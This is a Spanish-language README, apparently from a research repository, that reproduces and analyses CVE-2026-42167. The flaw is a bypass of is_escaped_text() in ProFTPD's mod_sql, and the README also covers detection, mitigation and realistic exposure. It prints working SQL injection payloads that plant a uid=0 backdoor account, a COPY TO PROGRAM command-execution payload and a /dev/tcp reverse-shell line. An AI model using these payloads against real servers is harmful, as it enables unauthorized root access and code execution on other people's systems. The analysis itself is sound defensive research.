
Reproducción independiente, análisis de causa raíz a nivel de código y redacción de exposición realista para CVE-2026-42167 (bypass de is_escaped_text() en mod_sql de ProFTPD).
mod_sqlReproducción independiente, análisis del código fuente a nivel de causa raíz y un
análisis de exposición franco para CVE-2026-42167 — el bypass de is_escaped_text() en
la canalización de registro de mod_sql de ProFTPD, divulgado por ZeroPath Research y corregido
en ProFTPD 1.3.9a / 1.3.10rc1.
Construido y verificado de extremo a extremo en Docker en macOS / Apple Silicon, 2026-04-29.
TL;DR — consulte Conclusión para conocer el panorama de exposición realista antes de decidir cuánto preocuparse. Este no es un error de instalación predeterminada, pero el patrón de comillas peligroso es el patrón que la documentación oficial recomienda usar, por lo que una gran fracción de las implementaciones de
mod_sqllo heredan.
| Campo | Valor |
|---|
| CVE | CVE-2026-42167 |
| CWE | CWE-89 (Inyección SQL), CWE-78 (Inyección de comandos del sistema operativo — vía COPY TO PROGRAM de PG) |
| Afecta | ProFTPD ≤ 1.3.9 con mod_sql + SQLLog/SQLNamedQuery cuya cadena de formato interpola una variable controlada por el atacante dentro de comillas simples |
| Corregido en | 1.3.9a (af90843ba…) / 1.3.10rc1, consulte el commit e6f728481 ("Issue #2052") |
| Commit vulnerable fijado | ae25959adb05ae1d6ebfa1f36bf778c9c34e9410 |
| Archivo vulnerable | contrib/mod_sql.c líneas 741–758 (is_escaped_text) y línea 777 (sql_resolved_append_text) |
| Divulgación original | https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce |
| PoC público | https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc |
| Notas de versión | http://www.proftpd.org/docs/RELEASE_NOTES-1.3.10rc1 |
is_escaped_text() en contrib/mod_sql.cmod_sql resuelve las variables de formato de registro (%U, %{basename}, etc.) y
añade cada fragmento al SQL renderizado mediante sql_resolved_append_text().
Para preservar la compatibilidad con configuraciones de administradores que ya envuelven
variables en '…', la función llama a is_escaped_text() para decidir
si se necesita sql_escapestring:```c
/* contrib/mod_sql.c — vulnerable commit ae25959 */
741 static int is_escaped_text(const char text, size_t text_len) {
742 register unsigned int i;
743
744 if (text[0] != ''') return FALSE;
745 if (text[text_len-1] != ''') return FALSE;
746 for (i = 1; i < text_len-1; i++)
747 if (text[i] == ''') return FALSE;
748 return TRUE;
749 }
…
777 if (is_escaped_text(text, text_len) == FALSE) {
… / …sql_escapestring()… */
790 } else {
791 pr_trace_msg(trace_channel, 17,
792 "text '%s' is already escaped, skipping escaping it again", text);
793 new_text = (char *) text;
794 new_textlen = text_len;
795 }
La comprobación es puramente estructural: no puede distinguir *"ya escapado por
código de confianza"* de *"diseñado por un atacante para parecer ya escapado".*
Cualquier valor proporcionado por el cliente que coincida con `'<no-internal-quotes>'` omite
`sql_escapestring` y se concatena en bruto en la consulta final.
La configuración estándar y documentada envuelve `%U` / `%{basename}` / `%m` entre comillas
simples:```
SQLNamedQuery log_activity INSERT "'%U', '%r', '%m'" activity_log
SQLLog ERR_* log_activity
Cuando el atacante envía USER '<payload>' (comilla inicial y final, sin
comillas internas), el resolvedor sustituye %U sin escapar, produciendo
''<payload>'' en el SQL — los literales de cadena vacía cierran las
comillas circundantes y <payload> se ejecuta como SQL crudo. Con PostgreSQL
(PQexec) y SQLite (sqlite3_exec), se admiten consultas apiladas, por lo
que <payload> puede ser cualquier secuencia de sentencias.
Debido a que SQLLog ERR_* se activa en inicios de sesión fallidos y %U
se establece desde USER antes de la autenticación, el ataque es
completamente no autenticado.
e6f728481, "Issue #2052")sql_resolved_append_text() gana un parámetro already_escaped. Los
llamadores que resuelven valores de entrada del cliente pasan FALSE y ahora
pasan por sql_escapestring incondicionalmente — la heurística
is_escaped_text() todavía se aplica para la ruta legítima de "config con
valor pre-escapado", pero ya no se aplica a datos controlados por el atacante.
+--------------------+ FTP 21 +-----------------------+ | attacker (host) | <--> 127.0.0.1:2121 | proftpd-poc-server | | python3 PoCs | | ProFTPD 1.3.9-pre | +--------------------+ | mod_sql_postgres | +-----------+-----------+ | libpq v +-----------------------+ | proftpd-poc-postgres | | PostgreSQL 15 | | role 'proftpd' = SU | +-----------------------+
- Ambos contenedores se levantan mediante `setup/docker-compose.yml`.
- `setup/proftpd.conf` habilita la configuración de registro vulnerable (ver §1).
- `setup/seed.sql` crea `users`, `groups`, `activity_log`, `xfer_log`
y `secrets`, además de un único usuario FTP legítimo `ftpuser / ftppass`.
---
## 3. Reproducción — copiar y pegar
Requisitos previos: Docker Desktop, Python 3.10+, git. (`uv` es opcional; los
PoCs solo usan la biblioteca estándar.)```bash
# 1) clone this repo
git clone https://github.com/dinosn/proftpd-CVE-2026-42167-analysis.git
cd proftpd-CVE-2026-42167-analysis/poc
# 2) build vulnerable proftpd + postgres in Docker
cd setup && ./setup.sh && cd ..
# - clones proftpd source pinned to ae25959a (vulnerable)
# - builds with --with-modules=mod_sql:mod_sql_postgres
# - starts both containers, waits for healthchecks
# 3) reproduce — pre-auth backdoor user (uid=0, homedir=/)
python3 pocs/preauth_user_backdoor.py --host localhost --port 2121
# 4) inspect the planted account
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "SELECT userid,uid,gid,homedir,shell FROM users;"
# 5) reproduce — post-auth STOR backdoor
docker exec proftpd-poc-postgres psql -U proftpd -d proftpd \
-c "DELETE FROM users WHERE userid='backdoor';"
python3 pocs/postauth_stor_backdoor.py \
--host localhost --port 2121 --user ftpuser --password ftppass
# 6) reproduce — pre-auth RCE proof (non-interactive, marker-file variant)
python3 pocs/preauth_rce_marker.py --host localhost --port 2121
docker exec proftpd-poc-postgres cat /tmp/cve-2026-42167-rce.txt
# 7) tear down
cd setup && ./teardown.sh
Las dos variantes interactivas en el repositorio upstream
(preauth_user_rce.py, postauth_stor_rce.py) no están modificadas y abren una
reverse shell respaldada por PTY. Usan la misma primitiva que la variante
marcadora — solo sustituye el comando de shell por bash -i >& /dev/tcp/<host>/<port> 0>&1 y escucha en <port> primero.
USER, %U)```USER ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --' PASS x
Por qué funciona:
1. Las **comillas externas + sin comillas internas** coinciden con
`is_escaped_text()` → se omite el escape.
2. El `SQLNamedQuery` configurado es `INSERT "'%U', '%r', '%m'" activity_log`,
por lo que el SQL renderizado se convierte en
`INSERT INTO activity_log VALUES('<payload>', '<%r>', '<%m>')` — pero
`<payload>` en sí comienza con `'`, por lo que la consulta efectiva es
`INSERT INTO activity_log VALUES('', null, null); INSERT INTO users
VALUES($$backdoor$$,…); --', '<%r>', '<%m>')`.
3. `--` comenta los espacios de formato finales.
4. El entrecomillado con dólar `$$…$$` de PostgreSQL nos permite pasar cadenas (`backdoor`,
`pwned123`, `/`, `/bin/bash`) sin usar nunca `'` — preservando la
omisión de `is_escaped_text()`.
5. `SQLLog ERR_*` se dispara en el inicio de sesión fallido → `PQexec()` ejecuta el
`INSERT INTO users` apilado → la cuenta de backdoor existe en la tabla de autenticación.
### Backdoor post-autenticación (nombre de archivo `STOR`, `%{basename}`)```
STOR ', null, null); INSERT INTO users VALUES($$backdoor$$, $$pwned123$$, 0, 0, chr(47), chr(47)); --'
Mismo bypass, diferente disparador. chr(47) = '/' se usa porque
/ en un nombre de archivo se interpreta como separador de directorio por FTP, por lo que
el atacante no puede poner un / literal en el nombre de archivo — chr() permite que la
cuenta backdoor obtenga homedir = '/' sin enviar uno por la red.
USER + COPY TO PROGRAM)```USER ', null, null); COPY (SELECT $$x$$) TO PROGRAM $$$$; --' PASS x
| Archivo | Qué muestra |
|---|---|
| `logs/01_preauth_backdoor.log` | Salida del PoC pre-autenticación, el inicio de sesión como `backdoor` tiene éxito (`230`) |
| `logs/02_db_users_after.log` | La tabla `users` ahora contiene `backdoor / pwned123 / uid=0` |
| `logs/03_postauth_stor_backdoor.log` | Salida del PoC post-autenticación vía STOR `%{basename}` |
| `logs/05_preauth_rce_marker.log` | Payload marcador enviado por FTP |
| `logs/06_users_final.log` | Estado final de la tabla `users` |
| `logs/07_proftpd_trace.log` | El registro de traza propio de ProFTPD imprime `text '…' is already escaped, skipping escaping it again` para cada payload inyectado — evidencia directa de que `is_escaped_text()` devuelve TRUE en la entrada del atacante |
| `logs/08_rce_proof.log` | `/tmp/cve-2026-42167-rce.txt` escrito *por el usuario postgres* en el contenedor de postgres |
| `screenshots/*.png` | Renderizados PNG de cada sesión de terminal capturada |
La línea del registro de traza es la prueba irrefutable:```
2026-04-29 06:35:11,297 [548] <sql:17>: text '', null, null); INSERT INTO users
VALUES($$backdoor$$, $$pwned123$$, 0, 0, $$/$$, $$/bin/bash$$); --''
is already escaped, skipping escaping it again
Ese mensaje se emite en contrib/mod_sql.c:791 solo cuando
is_escaped_text() devuelve TRUE — es decir, exactamente la omisión.
Detección (forense en un servidor desplegado):
grep "is already escaped, skipping escaping it again" /var/log/proftpd/trace.log
con Trace sql:17 habilitado marca cada intento de inyección que alcanzó la
omisión.activity_log (o la tabla en la que escriba SQLNamedQuery INSERT):
las filas donde la columna de nombre de usuario comienza con una comilla suelta, contiene null, null);, o contiene INSERT/COPY TO PROGRAM/UPDATE son evidencia.users en busca de cuentas con uid=0, homedir='/', o shell
configurado a un shell real cuando la política es usar /sbin/nologin.Mitigación:
e6f728481).SQLNamedQuery (reemplace '%U'
con el más seguro %U solo dentro de backends parametrizados, o use registro
basado en archivos de texto plano para inicios de sesión fallidos).mod_sql no sea un
superusuario — eso solo elimina la ruta de RCE COPY TO PROGRAM (la omisión
de autenticación mediante INSERT INTO users apilado sigue funcionando, pero el radio
de explosión queda contenido a la base de datos de proftpd).. ├── README.md # this file ├── poc/ # ZeroPath PoC, cloned │ ├── README.md │ ├── pocs/ │ │ ├── preauth_user_backdoor.py │ │ ├── preauth_user_rce.py │ │ ├── preauth_rce_marker.py # added — non-interactive RCE proof │ │ ├── postauth_stor_backdoor.py │ │ └── postauth_stor_rce.py │ └── setup/ │ ├── docker-compose.yml │ ├── Dockerfile.proftpd │ ├── proftpd.conf │ ├── seed.sql │ ├── setup.sh │ └── teardown.sh ├── logs/ # raw terminal output captured during reproduction └── screenshots/ # PNG renders of each log ├── 00_overview.png ├── 01_preauth_backdoor.png ├── 02_db_users_after.png ├── 03_postauth_stor_backdoor.png ├── 04_preauth_rce_marker.png ├── 05_rce_proof.png ├── 06_proftpd_trace.png └── 07_users_final.png
---
## 8. ¿Es esto realista, o un caso límite artificial?
La respuesta honesta: **más limitado que un gusano de "envía un paquete y
apodérate del servidor", pero el patrón vulnerable está en la propia
documentación de ProFTPD, así que no es artificial.** Tres dimensiones
independientes deciden si una implementación concreta se ve afectada, y
cada una reduce la población.
### 8.1 ¿Está `mod_sql` siquiera cargado?
`mod_sql` es opcional. **No** está en la compilación predeterminada de
ProFTPD ni en la configuración predeterminada de los paquetes de las
distribuciones, como `proftpd-basic` de Debian. Solo lo tienes si:
- Compilaste con `--with-modules=mod_sql:mod_sql_<backend>`, o
- Instalaste un paquete específico del backend: `proftpd-mod-pgsql` /
`proftpd-mod-mysql` / `proftpd-mod-sqlite` de Debian, `proftpd-postgresql` /
`proftpd-mysql` de RHEL.
La gente instala esos paquetes por una razón clara: **autenticación**
respaldada por SQL (usuarios en una base de datos en lugar de `/etc/passwd`)
o **registro de actividad** respaldado por SQL para auditoría. Ambos son
comunes en implementaciones de hosting compartido, FTP gestionado y
depósitos FTP corporativos. Así que `mod_sql` es una parte real de la base
de instalaciones — solo que no "todos los servidores".
### 8.2 ¿Se usa realmente el patrón vulnerable `SQLNamedQuery`?
Aquí es donde el realismo es mayor. El patrón que desencadena el error *es
el documentado.* Ejemplos tomados directamente del árbol ascendente en el
commit vulnerable fijado:```
# doc/contrib/mod_sql.html ── canonical example
SQLNamedQuery insertfileinfo INSERT "'%f', %b, '%u@%v', now()" filehistory
SQLLog RETR,STOR insertfileinfo
# doc/howto/SQL.html
SQLNamedQuery log_sess FREEFORM "INSERT INTO login_history
(user, client_ip, server_ip, protocol, when)
VALUES ('%u', '%a', '%V', '%{protocol}', NOW())"
SQLLog PASS log_sess IGNORE_ERRORS
# doc/modules/mod_redis.html
SQLNamedQuery upload FREEFORM "INSERT INTO ftplogs (...) VALUES
('%u', '%H', NOW(), '%r', ..., '%f', ...)"
SQLLog STOR upload
Cada uno envuelve una variable controlada por el atacante (%u, %r) entre comillas simples — exactamente la forma que is_escaped_text() clasifica erróneamente. Un administrador que copie y pegue desde la documentación oficial hereda el patrón vulnerable. Esa es la razón principal para tomárselo en serio.
La ruta completamente no autenticada (USER + %U + SQLLog ERR_*) es el caso más restringido. Requiere las tres condiciones:
SQLNamedQuery que interpole %U (nombre de usuario original, establecido incluso en un inicio de sesión fallido) dentro de comillas simples — menos común que %u en configuraciones reales, ya que la mayoría de los administradores quieren el nombre de usuario exitoso para auditoría y usan %u.SQLLog que se dispare antes de la autenticación. SQLLog ERR_* es el comodín canónico para eso. SQLLog PASS … y SQLLog STOR … (las formas más comunes) no lo hacen.Si la configuración usa %u en lugar de %U, el mismo fallo sigue produciendo eludición de autenticación — pero solo post-auth, es decir, el atacante primero necesita cualquier credencial válida antes de poder plantar una puerta trasera con uid=0. En la mayoría de las configuraciones reales, esta es la exposición realista: usuario FTP de bajo privilegio → usuario FTP equivalente a root mediante una sola subida.
La eludición se dispara de forma idéntica en todos los backends, pero lo que el atacante puede hacer difiere notablemente:
| Backend | ¿Consultas apiladas? | Eludición de auth vía INSERT INTO users | RCE en el host de la BD |
|---|---|---|---|
| PostgreSQL | Sí (PQexec) | Funciona | Sí vía COPY TO PROGRAM si el rol de la BD es superusuario |
| SQLite | Sí (sqlite3_exec) | Funciona (y el worker de FTP a menudo tiene PRIVS_ROOT — incluso peor) | No hay equivalente directo, pero la tabla users escribible → inicio de sesión FTP como root |
| MySQL | No — mysql_real_query sin CLIENT_MULTI_STATEMENTS | No puede añadir una segunda sentencia; se reduce a subconsulta de una sola sentencia / SQLi ciega solo para exfiltración de datos | No |
PostgreSQL o SQLite ⇒ impacto completo. MySQL ⇒ solo fuga de datos / ciego basado en tiempo. MySQL es, con diferencia, el backend más común para hosting compartido (cPanel, Plesk, ISPConfig todos lo usan por defecto); PostgreSQL es más común en builds empresariales personalizadas. Ambas poblaciones no son triviales.
El RCE destacado de COPY TO PROGRAM además requiere que el rol de PostgreSQL de mod_sql sea superusuario (o miembro de pg_execute_server_program). Eso es:
POSTGRES_USER de la imagen oficial de Docker de postgres (el valor por defecto para la mayoría de los laboratorios de PoC y muchas imágenes de appliances, incluido el setup/ de este repositorio).Si el rol no es superusuario, aún se obtiene la primitiva de eludición de autenticación (crítica en sí misma), pero el RCE a nivel de SO en el host de la BD desaparece.
ProFTPD installs └── ~with mod_sql loaded ←── opt-in but common in shared/managed FTP ├── ~with the canonical SQLNamedQuery INSERT pattern (most do — it's │ the documented form) │ ├── PostgreSQL backend │ │ ├── DB role = superuser → pre-/post-auth RCE on DB host │ │ └── DB role ≠ superuser → post-auth root FTP backdoor (auth bypass) │ ├── SQLite backend → post-auth root FTP backdoor │ │ (worker often runs as root → very bad) │ └── MySQL backend → post-auth blind SQLi / data exfil only └── ~with attacker-controlled %U + SQLLog ERR_* (uncommon) → fully pre-auth versions of the above
---
## 10. Recomendación
Para cualquiera que ejecute ProFTPD `mod_sql`:
- **Actualice** a ≥ 1.3.9a sin importar nada. Es la única solución completa.
- **Controles compensatorios** hasta que pueda parchear:
- Reduzca el rol de la BD a **no superusuario** — elimina la rama de RCE en
PostgreSQL.
- Audite su tabla `users` / de autenticación en busca de filas `uid=0` sueltas o cuentas
añadidas recientemente — consulte §6.
- Active `Trace sql:17` y busque
`is already escaped, skipping escaping it again` en `trace.log` — esa
línea es evidencia directa de un intento de bypass.
- Si es viable, elimine las directivas `SQLLog ERR_*` y cualquier
formato `SQLNamedQuery INSERT` que interpole `%U` (la primitiva
pre-autenticación). La ruta post-autenticación seguirá existiendo vía `%u` /
`%{basename}`, pero elimina el peor caso.
---
## 11. Conclusión
- Esto **no** es una "vulnerabilidad de instalación predeterminada" — tiene que estar
ejecutando `mod_sql`.
- **Sí** es una "vulnerabilidad de seguir la documentación" — el patrón de
comillas peligroso es el oficial, copiado y pegado en los HOWTOs oficiales.
- El escenario **totalmente no autenticado** del titular es real pero
requiere una combinación de configuración específica (pre-auth `%U` + comodín
`SQLLog ERR_*`) que es menos común que la ruta post-autenticación.
- El escenario de **escalada de privilegios post-autenticación** (cualquier usuario FTP → backdoor
FTP uid=0) es el mucho más realista y se aplica a una gran
fracción de implementaciones `mod_sql` + PostgreSQL/SQLite que usan los
patrones de registro documentados.
- El **RCE a nivel de SO en el host de la BD** está condicionado a que el rol de la BD sea
superusuario — común en configuraciones de un solo inquilino / tipo appliance, menos
común en entornos gestionados por DBA.
---
## Créditos
- Vulnerabilidad descubierta y divulgada originalmente por
[ZeroPath Research](https://zeropath.com/blog/proftpd-cve-2026-42167-auth-bypass-privesc-rce).
- Repositorio público de PoC:
[ZeroPathAI/proftpd-CVE-2026-42167-poc](https://github.com/ZeroPathAI/proftpd-CVE-2026-42167-poc).
- Corrección por TJ Saunders, commit
[`e6f72848`](https://github.com/proftpd/proftpd/commit/e6f728481b25e2a79590c1c1043417f0232e2f48)
("Issue #2052").
Este repositorio es una reproducción y análisis independientes para investigación
defensiva y educación. Sin 0-day. Úselo solo en sistemas que esté autorizado
a probar.